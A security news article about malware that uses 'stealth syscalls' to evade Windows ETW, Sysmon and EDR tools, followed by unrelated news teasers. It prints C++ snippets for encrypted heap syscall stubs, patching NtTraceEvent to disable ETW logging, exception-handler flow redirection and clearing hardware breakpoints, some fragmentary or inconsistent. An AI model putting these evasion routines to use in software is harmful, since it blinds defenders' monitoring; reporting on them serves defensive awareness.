In a striking escalation of attack sophistication, advanced threat actors are now leveraging “stealth syscalls” to systematically evade Windows security monitoring tools including Event Tracing for Windows (ETW), Sysmon, and modern Endpoint Detection and Response (EDR) solutions.
This new wave of malware employs multiple technical innovations to stay invisible, marking a significant challenge for defenders seeking to track system-level activity and prevent breaches.
System calls (syscalls) form the backbone of interaction between user-mode processes and the Windows kernel, controlling everything from memory management to process creation. Traditionally, security tools defend systems by:
Here’s what a standard, easily-detected syscall execution looks like (simplified for clarity):
cpp#include <windows.h>
#include <iostream>
typedef NTSTATUS(NTAPI* pNtProtectVirtualMemory)(HANDLE, PVOID*, PULONG, ULONG, PULONG);
int main() {
HMODULE hNtdll = LoadLibraryA("ntdll.dll");
pNtProtectVirtualMemory NtProtectVirtualMemory =
(pNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
PVOID memAddr = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
ULONG bytesToProtect = 0x1000, oldProtect;
NtProtectVirtualMemory(GetCurrentProcess(), &memAddr, &bytesToProtect, PAGE_EXECUTE_READWRITE, &oldProtect);
return 0;
}
According to Darkrelay report, Security products can detect such activity by tracking both the call stack (verifying if the caller is a legitimate Windows API) and monitoring ETW/Sysmon logs for direct syscall events.
Modern malware, however, employs a host of evasion tactics designed to defeat all the above detection mechanisms:
1. Heap-Based Encrypted Direct Syscalls
Instead of calling syscalls directly from ntdll.dll, attackers now construct small “stub” functions dynamically in heap memory, encrypt those stubs to avoid static detection, then decrypt and execute them during runtime.
This camouflages both the memory region and the syscall pattern, thwarting static and memory-based scanners.
Key snippet: Executing an encrypted syscall stub from the heap
cppvoid XORCipher(BYTE* data, SIZE_T size, BYTE key) {
for (SIZE_T i = 0; i < size; ++i) data[i] ^= key;
}
void HeapEncryptedSyscall() {
// Create and encrypt stub
BYTE stub[] = { 0x4C, 0x8B, 0xD1, 0xB8, 0,0,0,0, 0x0F, 0x05, 0xC3 }; // syscall pattern
ULONG syscallNumber = /* resolved dynamically */;
*(ULONG*)(stub + 4) = syscallNumber;
BYTE key = 0x5A;
XORCipher(stub, sizeof(stub), key); // Encrypt
// Allocate and execute decrypted stub in heap
void* execMem = HeapAlloc(GetProcessHeap(), 0, sizeof(stub));
memcpy(execMem, stub, sizeof(stub));
XORCipher((BYTE*)execMem, sizeof(stub), key); // Decrypt at runtime
((NTSTATUS(NTAPI*)(HANDLE, PVOID*, SIZE_T*, ULONG, PULONG))execMem)(
GetCurrentProcess(), /*args*/);
HeapFree(GetProcessHeap(), 0, execMem);
}
2. Disabling ETW Logging and Sysmon Tracing
To prevent any breadcrumbs, malicious code may patch critical ntdll functions, such as NtTraceEvent or EtwEventWrite, using a direct syscall to modify memory permissions.
Once patched (often simply by replacing initial bytes with a RET instruction), ETW and Sysmon are blinded they record nothing.
Snippet: Stealth patching to disable ETW
cppvoid DisableETW() {
void* ntTraceEvent = GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTraceEvent");
SIZE_T sz = 1;
ULONG oldProt;
HeapEncryptedSyscall("NtProtectVirtualMemory", GetCurrentProcess(), &ntTraceEvent, &sz, PAGE_EXECUTE_READWRITE, &oldProt);
*(BYTE*)ntTraceEvent = 0xC3; // Patch ETW to return immediately
}
3. True Stack Spoofing via Vectored Exception Handler (VEH)
Call stack analysis is a favorite technique of EDRs: they alert if a syscall originates from suspicious or unmapped memory.
By abusing Windows vectored exception handling, attackers can not only fake legitimate call stacks, but also redirect flow safely back after the malicious syscall, ensuring forensic analysis finds only benign-looking traces.
cppLONG WINAPI VehHandler(PEXCEPTION_POINTERS ex) {
ex->ContextRecord->Rip = (DWORD64)ex->ExceptionRecord->ExceptionInformation[0];
return EXCEPTION_CONTINUE_EXECUTION;
}
4. Hardware Breakpoint Clearing
To sidestep debugging or advanced EDR breakpoints, malware will routinely clear all hardware debug registers (Dr0–Dr3, Dr7)—removing any silent breakpoints set by defensive tools.
cppvoid HardwareBreakpointSpoofing() {
CONTEXT ctx = {};
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
HANDLE hThread = GetCurrentThread();
GetThreadContext(hThread, &ctx);
ctx.Dr0 = ctx.Dr1 = ctx.Dr2 = ctx.Dr3 = ctx.Dr7 = 0; // clear breakpoints
SetThreadContext(hThread, &ctx);
}
These techniques collectively allow attackers to execute code, allocate memory, and escalate privileges right under the nose of even the most modern security stacks.
By constantly mutating execution flow, encrypting and decrypting in memory, faking call stacks, and disabling telemetry, they erode the efficacy of signature, behavioral, and event-based detection systems.
Defensive researchers are responding with novel heuristics, deeper kernel tracing, and behavioral correlation but as this wave of stealthy malware shows, the cat-and-mouse game at the heart of cybersecurity is far from over.
PortSwigger has leveled up Burp Suite's scanning arsenal with the latest Active Scan++ extension, version…
Unit 42 researchers at Palo Alto Networks exposed serious flaws in the Model Context Protocol…
Polish police have arrested three Ukrainian men traveling through Europe and seized a cache of…
Google has launched its most significant Chrome update ever, embedding Gemini AI across the browser…
Attackers exploit this vulnerability through the router's web interface components, specifically "cgibin" and "hnap_main," by…
Security researchers have uncovered a severe flaw in Apache Tika, a popular open-source toolkit for…